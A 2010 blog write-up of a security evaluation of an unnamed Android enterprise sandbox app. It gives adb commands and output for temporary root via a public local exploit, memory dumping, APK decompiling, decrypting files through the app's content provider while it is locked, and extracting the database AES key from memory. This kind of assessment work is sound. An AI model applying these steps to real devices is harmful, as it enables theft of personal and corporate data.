보안쟁이-회사원의 일상

Last Update: 8th November 2010
Status: Complete (but may expand)

Introduction

This project all started when I was asked to take a look at a software product that was under evaluation. The software ran on mobile devices such as iPhone and Android and allowed end users to securely connect to their organisation from their personal phones. It provided a sandbox environment where company data could be viewed, and it encrypted all of it’s data. It is used by large blue chip companies and the literature claims it was evaluated and cleared by the US Department of Defence as suitable for use. I decided to verify the security myself and spent about 14 hours of my own time at home in which I was able to break the encryption and recover all data.

I cannot name the actual product but I have documented some of my technical notes below. They provide general tips, tricks and techniques that can be used by others to evaluate security of their mobile products. My hope is to also provide information for developers so that they understand where potential weaknesses are, and mitigate accordingly.

Scenario

For reference the main scenario I was working to evaluate was a common one: a user loses their mobile device or it is stolen. Because these devices are not under control of a central IT policy we have to assume that they won’t necessarily have a device level password in place. Therefore I haven’t (yet) looked at bypassing the device lockout screen. In addition, after its first launch the app I’m evaluating runs in the background in a locked state, with the user entering their password to unlock. So the scenario is that I find the device, it is running the security software but it is locked, what data can I retrieve?

Hardware & Software

The hardware I’m using is an HTC Desire running Android 2.2 (Froyo). It was the evaluation platform I had to work with and currently own, I have nothing against Android, in fact I really like it. I think the concepts will be similar for iPhone and most other capable smart phones (except perhaps BlackBerry in some cases). I also used a laptop running Linux.

Accessing The Device

A number of methods can be used to explore the device. For ease of analysis and documentation the device was accessed over USB from a Linux system using debug mode.

First the device needs to have debug mode enabled. Go to:

Settings > Applications > Development > USB Debugging

Then connect the device to the Linux host computer using the USB cable.

The software to use debug mode comes with the Android Software Development Kit which is a free download from Google. The SDK for Linux was simply downloaded and uncompressed.

First we list the devices detected by the Android Debug Bridge (ADB):

user@laptop:# ./adb devices 

List of devices attached 

HT07NPL03993	device

Then we connect to a shell on the device:

user@laptop:# ./adb shell 

$ 

Find out what user level we’re running under:

$ id 

uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

We are running as user “shell” which is quite restricted and won’t be able to see much on the system. The next task is to use an exploit to gain root privileges. There are a number of exploits that currently work and a common one was chosen. Note that this is a temporary escalation and is not quite the same as “rooting your device”.

First upload the exploit to an area of the device that allows us write access:

user@laptop:# ./adb push rageagainstthecage-arm5.bin /data/local/tmp/rageagainstthecage-arm5.bin 

117 KB/s (5392 bytes in 0.044s) 

Then log back into the shell, change to the exploit directory, make it executable and run it:

user@laptop:# ./adb shell 

$ cd /data/local/tmp 

$ chmod 0755 rageagainstthecage-arm5.bin 

$ ./rageagainstthecage-arm5.bin 

[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C 


[*] checking NPROC limit ... 

[+] RLIMIT_NPROC={3319, 3319} 

[*] Searching for adb ... 

[+] Found adb as PID 7325 

[*] Spawning children. Dont type anything and wait for reset! 

...

[*] adb connection will be reset. restart adb server on desktop and re-login. 

Re-login to device:

user@laptop:# ./adb kill-server 

user@laptop:# ./adb shell 

* daemon not running. starting it now on port 5037 * 

* daemon started successfully * 

# 

Find out what user level we’re running under:

#id 

uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

And we are now root, which makes things a little easier.

Memory Dump

In Android the memory is exposed via procfs in /proc/pid/mem and having root privileges means we can directly read and write the application’s memory and even control flow of execution. The way to do this would be to attach to the app process using ptrace and use /proc/pid/map to get the memory addresses to access.

There is also another way to dump the memory of a process and it is already built into Android. First we change the permissions on a directory so the dump file can be written on the device:

# chmod 777 /data/misc 

Then we find the Process ID of our app (from a fictional company I’ve named Acme):

# ps 

USER     PID   PPID  VSIZE  RSS     WCHAN    PC         NAME 

root      1     0     344    252   c00ce65c 0000d2dc S /init 

root      2     0     0      0     c0076e3c 00000000 S kthreadd 

root      3     2     0      0     c0067fa8 00000000 S ksoftirqd/0 

...

app_74    465   66    133776 42428 ffffffff afd0ebd8 S com.acme.android.afe 

...

root      10679 1     3412   200   ffffffff 0000f474 S /sbin/adbd 

root      10685 10679 744    328   c0065ce4 afd0e88c S /system/bin/sh 

root      10689 10685 892    336   00000000 afd0d97c R ps 

Then send a SIGUSR1 signal to the process which will cause it to dump its memory:

# kill -10 465 

In the /data/misc directory we now have the dump file:

heap-dump-tm1289007218-pid465.hprof 

Now download it onto the laptop for analysis:

user@laptop:# ./adb pull /data/misc/heap-dump-tm1289007218-pid465.hprof . 

1109 KB/s (3656449 bytes in 3.217s) 

This dump file can now be opened in a memory analysis tool such as MAT but I just opened it in a HEX editor to see what it contained. I found that the memory dump contained sensitive data from inside the locked app such as email addresses, file names, server names and more.

A total of seven memory dumps were taken while analysing the app and in all cases potentially sensitive data listed above was present. In two cases the memory dumps also contained the clear text password used to unlock the app. In one dump the password was present once and in the other it was present twice. Although not consistent, when the password is present it could allow for complete compromise of the data stored in app and access into the organisation.

Reverse Engineering the Code

Android applications are mostly Java based which makes it slightly easier than normal to reverse the application code and can speed up analysis greatly. I found some useful links about Android decompiling in a blog post by Jack Mannino, so this part was pretty easy.

The following (free) tools were used:

• Android SDK from Google
• AXMLPrinter2.jar to decode Android’s binary XML format
• dex2jar to convert Android format to regular jar files
• JD (Java Decompiler)

First we get a copy of the app that is running on the device and copy to the laptop using the Android Debug Bridge from the SDK:

user@laptop:# ./adb pull /data/app/com.acme.android.afe-1.apk ./ 

1325 KB/s (5601716 bytes in 4.125s)

The apk file just downloaded is actually a zip file. After unzipping it we convert the manifest file into a readable format:

user@laptop:# java -jar ./AXMLPrinter2.jar AndroidManifest.xml >AndroidManifest.txt 

The manifest contains interesting information like permissions, intent filters, providers and lots more. There is one provider for the app I’m looking at called FileProvider which I’ll come to later:

<provider 

        android:name="com.acme.android.FileProvider" 

        android:authorities="com.acme.android.afe.FileProvider" 

        > 

</provider>

Back in the unzipped application package there is a classes.dex file which contains all of the main code. First this needs to be converted into a jar:

user@laptop:# ./dex2jar.sh classes.dex

This creates classes.dex.dex2jar.jar which again can be unzipped to reveal the compiled class files. These can now be opened up in JD, the Java Decompiler, to reveal a fairly close representation of the original source code. This analysis does not cover a detailed review of the code but on first glance I could see some interesting things such as static salt values (for encryption) and the method for decrypting files stored in the “sandbox” which can be invoked from an external program.

Copying the Application and Data

The app and data were extracted from the running device and migrated to a virtual Android environment. No specific attack was kept in mind for this experiment but one might conclude that it aids analysis by having the app running in a virtual environment completely under the control of the hacker. Although untested it may be possible to run and maintain the app from a PC instead of a handheld, opening it up to new risks. With some further work it may also enable an attacker to retain access to the system even when not in possession of the device. Finally, the state can be continually reverted meaning the app’s ability to lock/wipe itself after a number of failed password attempts is rendered useless.

First I pushed the busybox application to the device which will make copying easier. Then I set the path to busybox:

user@laptop:# ./adb shell 

# export PATH=/data/local/tmp:$PATH 

Change to the data directory and then copy the application data to the SD Card

# cd /data/data

# busybox cp -R com.acme.android.afe /sdcard

Copy the data from the SD Card to the laptop and then push it to the Android emulator (part of the free Android SDK) which is running on the laptop:

user@laptop:# ./adb push com.acme.android.afe /data/data/com.acme.android.afe

Install the application package on the emulator:

user@laptop:# ./adb install com.acme.android.afe-1.apk

Launching the emulator I found the application ran fine.

Manually Invoking User Interface Elements

Android applications contain “activities”. An activity in Android parlance is a single focussed thing that a user can do and almost all activities interact with the user. Generally speaking, an Activity usually has its own window so that the user can interact with it.

The app I’m testing exposes a number of activities which can be enumerated from a number of places. Firstly the manifest XML decoded earlier, then the code that was decompiled and yet another great way is to query the Android system itself. Android maintains package information like Activity/Intent/Service/Provider in the PackageManagerService. You can query the service information from an ADB shell like so:

# dumpsys package > packages.txt

The packages.txt file was copied onto the laptop and searched for com.acme.android. The results showed activities such as:

com.acme.android.SecurityPreferenceActivity: 

	com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity

It is possible to manually launch such an activity from the ADB shell with the following command:

# am start -n com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity 

Starting: Intent { cmp=com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity }

The app will then try to switch to the Security Preferences screen. The hope was that even though the app was locked it would allow us to navigate directly to other screens. It seems the app was well implemented in this regard and would only show the unlock screen and the password reset screen. All listed activities were tried with the same result. The app included code in each activity to check if it was in an “unlocked” state and if it wasn’t, it would jump back to the lock screen. This technique could be used to find hidden screens and jump around an application in a way the developer hasn’t anticipated so it is good design that they checked for this. That said, it is of course possible to modify the application in memory to get the unlocked test to always return true, but I did not need to go that far in the end…

Content Providers

There is no common storage area that all Android packages can access but it does allow data sharing using content providers. This is how the app I’m testing shares data with, for example, a PDF reader in order to allow the user to view a PDF stored in the encrypted “sandbox”.

In the reverse engineering section we saw that the manifest file contained one content provider called FileProvider. In the decompiled code I could see this is used to decrypt files on the fly and serve them to external applications when the user wants to view them. The next experiment will look to utilise this function by manually invoking it to decrypt stored files.

The following test was conducted on the Android device with the security app in a locked state:

Change directory to where the app stores encrypted files:

# cd /data/data/com.acme.android.afe/files

First we inspect the contents of one of the files to see if it is really encrypted:

# cat somefile

(binary data displayed)

The file appears to be encrypted. We run the command below with the intention of launching the Android HTMLViewer and requesting the file through the app’s content provider, which should decrypt it on the fly.

# am start -a android.intent.action.VIEW -d content://com.acme.android.afe.FileProvider/files/somefile -t text -n com.android.htmlviewer/.HTMLViewerActivity 


Starting: Intent { act=android.intent.action.VIEW dat=content://com.acme.android.afe.FileProvider/files/somefile typ=text cmp=com.android.htmlviewer/.HTMLViewerActivity }

On the Android device the HTMLViewer pops up and we see that the attachment has been decrypted while the app is locked without entering the password, and then rendered successfully. It was found that the same process could be used to decrypt any file stored by the app.

Stealing the Key

When first started the app does not have access to the data. Entering the password or performing the Reset Password activity decrypts the keys required to access the databases and files. The software stores lots of juicy information in encrypted SQLite databases such as contacts, configuration settings, keys and potentially sensitive data from the organisation.

SQLite is the standard way for Android applications to store data and is built-in, just like the iPhone. The standard SQLite on Android does not yet offer encryption but there are a few implementations out there including one from the makers of SQLite themselves, for a fee.

The app uses Java Native Interface to hook into a natively compiled SQLite library sitting in:

/data/data/com.acme.android.afe/lib/libdb.so

When the user enters the correct password the app initialises the database session using this modified version of SQLite 3.

Analysis of the library shows that as well as SQLite it includes functions for implementing AES encryption in CBC mode for transparently encrypting/decrypting the database files. It was similar to the open source encrypted SQLite offerings I found but not exactly the same. One similar thing I found is that when calling the library to execute SQL statements the application needs to set a PRAGMA value as:

PRAGMA hexkey='<databasekey>'

This database key is derived from decrypting (using the user’s password or reset password) the key held in the file:

/data/data/com.acme.android.afe/shared_prefs/prefs.xml

The device under evaluation had the app running and in a locked state. As shown in the Memory Dump section it was trivial to dump the memory of the running process. In every single case the memory dump contained the database key in clear text! The key didn’t change between memory dumps even after changing the password and rebooting the device. This really is the weak link. With all the fancy encryption functionality it all came down to exposing the database encryption key when calling the SQLite library and leaving it in memory.

The database key was a hex encoded string of a 24 byte key (i.e. 48 bytes), meaning that it was likely a 192bit AES key.

The app database files are held on the device in:

/data/data/com.acme.android.afe/databases/

The databases were copied to the Linux laptop and OpenSSL was then run to decrypt the databases with the key from the memory dump. An “IV” should also be supplied here but it appears one was not used so I set it to zero:

user@laptop:# openssl aes-192-cbc -in someDB.db -out someDB.db.dec -K 0123456789ABCFEF0123456789ABCFEF0123456789ABCFEF -iv 0 -d 

bad decrypt 

26402:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:330: 

There were some errors in the decryption, however when viewing the resulting file the contents of previously encrypted content (even content I thought I had deleted), keys, configuration and more were there in clear text.

At this point I stopped my evaluation as it was game over. Hope these tips and tricks help you out.